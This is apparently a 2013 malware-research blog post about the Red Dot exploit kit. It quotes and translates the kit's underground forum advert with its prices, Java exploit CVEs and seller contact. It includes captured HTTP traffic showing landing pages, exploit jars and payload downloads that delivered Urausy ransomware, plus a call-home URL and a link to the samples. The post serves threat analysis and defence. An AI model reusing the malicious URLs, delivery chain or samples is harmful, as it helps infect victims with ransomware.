2013-01-20 - Connect the dots
Meet "Red Dot exploit toolkit"
 |
| for thumbnail |
 |
| Red Dot Login Screen |
Advertised since Dec 21, 2012 on underground forum by user reddot.
Here is the text of the advert :
------------------------------------------
Функциональность.
[*] Статистика: основная, браузеры, операционные системы, эксплойты, страны, рефералы;
[*] Возможность отображения как всей статистики, так и раздленной на треды (потоки);
[*] На разные треды можно грузить отдельные файлы;
[*] Поддержка загрузки как EXE так и DLL файлов;
[*] Удобное управление тредами из администраторской панели.
Принимаются пожелания по расширению функциональности.
Скриншоты.
http://s005.radikal.ru/i210/1212/d9/7791c0530925.png
http://s017.radikal.ru/i429/1212/4c/46f7a6ee5fa8.png
статистика сгенерированная
Состав сплоитов в связке.
Java atomic cve-2012-0507
Java jax-ws cve-2012-5076
* мы не стали включать в связку устаревшие эксплойты, которые мало того,
что практически не дают пробива, но еще и вызывают больше палева. Если
на вашем трафике до сих пор дает хоть какой-то процент libtiff или еще
удивительнее mdac поищите другую связку.
** в случае выхода новых уязвимостей, боевые сплойты будут оперативно
добавлены в связку.
Требования к серверу.
Веб-сервер Apache с включенным "mod_rewrite"
PHP версии 5.3.x или выше
MySQL версии 5.1.x или выше
Цены.
Лицензия на полгода 700$ (бесплатные чистки на 1 месяц)
Лицензия на год 1200$ (бесплатные чистки на 2 месяца)
Месячный абонимент на чистки 300$
Вендор вправе изменить цены на продукт в любой удобный ему момент.
Для первых отзывов предоставим бесплатный тест на вашем сервере.
Контакты.
По всем интересующим вам вопросам убедительная просьба писать непосредственно
в указанные ниже контакты или использовать ЛС.
[email protected]
------------------------------------------
Translated by google as
------------------------------------------
Functionality.
[*] Statistics: basic, browsers, operating systems, exploits, country, referrals;
[*] Ability to show how all the statistics and razdlennoy on threads (threads);
[*] The different threads can load individual files;
[*] Support for download as EXE and DLL files;
[*] Convenient control trade from the administrative panel.
Accepted feature requests.
Screenshots.
http://s005.radikal.ru/i210/1212/d9/7791c0530925.png
http://s017.radikal.ru/i429/1212/4c/46f7a6ee5fa8.png
Statistics generated
Composition sploitov in the bunch.
Java atomic cve-2012-0507
Java jax-ws cve-2012-5076
* We did not include a bunch of old exploits are not enough
that practically do not punching, but also cause more yellow. If
Insufficient traffic still gives at least some percentage of libtiff or more
mdac surprising find another bunch.
** In the event of new vulnerabilities, combat sployty will promptly
added to the bunch.
Server requirements.
Apache Web server with the included "mod_rewrite"
PHP version 5.3.x or higher
MySQL 5.1.x or higher
Prices.
License for six months, $ 700 (free cleaning for 1 month)
The license for the year 1200 $ (free cleaning for 2 months)
Monthly aboniment for cleaning $ 300
The vendor has the right to change the price of the product at any time convenient to him.
For the first review will provide a free test on your server.
Contacts.
For all the questions you are kindly requested to write directly
at the following contacts or use PM.
[email protected]
------------------------------------------
 |
| Red Dot Statistics (screenshot provided in the advert) |
 |
| Red Dot Management (screenshot provided in the advert) |
First Contact is the only one where I got the payload (double exploitation btw - CVE-2012-5076 and CVE-2013-0422 ) :
 |
| Red Dot exploit toolkit first contact. Being pushed an Urausy Ransomware |
 |
| sss00000.html Pure java, straightforward landing.... |
GET http://txsepuasq.wikaba .com/sss00000.html
200 OK (text/html)
GET http://txsepuasq.wikaba .com/x.jar
200 OK (text/plain) 1b57a201dead2f0cdf6343bb92c6a875
GET http://txsepuasq.wikaba .com/f.jar
200 OK (text/plain) a8600cbebee22095b18e24a0c1a2a0e2
GET http://txsepuasq.wikaba .com/f.jar
200 OK (text/plain)
GET http://88.80.196 .104/load.php?guid=ae2c8bcefa806db99bcb513596cb00cb&thread=sss00000&exploit=2&version=1.7.0_06&rnd=2117170144
200 OK (application/octet-stream)
GET http://txsepuasq .wikaba.com/x.jar
200 OK (text/plain)
GET http://88.80.196 .104/load.php?guid=ae2c8bcefa806db99bcb513596cb00cb&thread=sss00000&exploit=1&version=1.7.0_06&rnd=-306644403
200 OK (application/octet-stream) 161b1b40f5f2ef01bef49431d790b285 (Urausy or will gather Urausy)
 |
| Urausy NL Design (2013-01-20) More design on botnets.fr |
Call home from Urausy :
GET http://aimfuck .biz/forum/lucxlvslrtyhkljdjnkhtjzxayrvqforqh-gzpv-pvys_hukh_zmyazt-trbltrmjysxkujgbqngnldflxuld-mvyh.php
200 OK (application/octet-stream)
** в случае выхода новых уязвимостей, боевые сплойты будут оперативно
добавлены в связку.
CVE-2013-0422 (exploit2) :
 |
| CVE-2013-0422 Positive path - Payload is called but empty reply. |
 |
| f.jar implementing CVE-2013-0422 in JD Gui Nice URL :) |
GET http://rxhzvssfv.wikaba .com/sss00000.html
200 OK (text/html)
GET http://rxhzvssfv.wikaba .com/f.jar
200 OK (text/plain)
GET http://rxhzvssfv.wikaba .com/x.jar
200 OK (text/plain)
GET http://rxhzvssfv.wikaba .com/f.jar
200 OK (text/plain)
GET http://88.80.196 .104/load.php?guid=99cfe0981b8feb296bc8d8c5c2b33818&thread=sss00000&exploit=2&version=1.7.0_10&rnd=110586755
200 OK (application/octet-stream) (empty payload)
GET http://rxhzvssfv.wikaba .com/x.jar
200 OK (text/plain)
CVE-2012-0507 (exploit0) :
 |
| CVE-2012-0507 positive path (with empty payload) on Red Dot |
GET http://hdwrj.wikaba .com/sss00000.html
200 OK (text/html)GET http://hdwrj.wikaba .com/f.jar
200 OK (text/plain)
GET http://hdwrj.wikaba .com/x.jar
200 OK (text/plain)
GET http://hdwrj.wikaba .com/x.jar
200 OK (text/plain)
GET http://hdwrj.wikaba .com/x.jar
200 OK (text/plain)
GET http://hdwrj.wikaba .com/f.jar
200 OK (text/plain)
GET http://hdwrj.wikaba .com/x.jar
200 OK (text/plain)
GET http://88.80.196 .104/load.php?guid=a5ac237744923b25cb6cbb4b2bbf34b8&thread=sss00000&exploit=0&version=1.6.0_30&rnd=-1453720314
200 OK (application/octet-stream)
GET http://hdwrj.wikaba .com/f.jar
200 OK (text/plain)
GET http://hdwrj.wikaba .com/com/sun/org/glassfish/gmbal/util/GenericConstructor.class
200 OK (text/html)
CVE-2012-5076 (still inside despite CVE-2013-0422) (exploit1) :
 |
| In front of the Weapon with a CVE-2012-5076 (and CVE-2013-0422) vulnerable Armor, RedDot hit with the brand new bullet. |
CVE-2012-5076 bullet seems to be in file x.jar ...I triggered it with jre-1.6u6 but with 1.7u7 seems have been shot down by CVE-2013-0422 bullet (exploit2)
Hidden golden bullet ?
 |
| jre17u11 warning triggered by Red Dot landing. |
No.
Seems to features double-tilt counter system.
Files :
http://goo.gl/36m9R (Mega)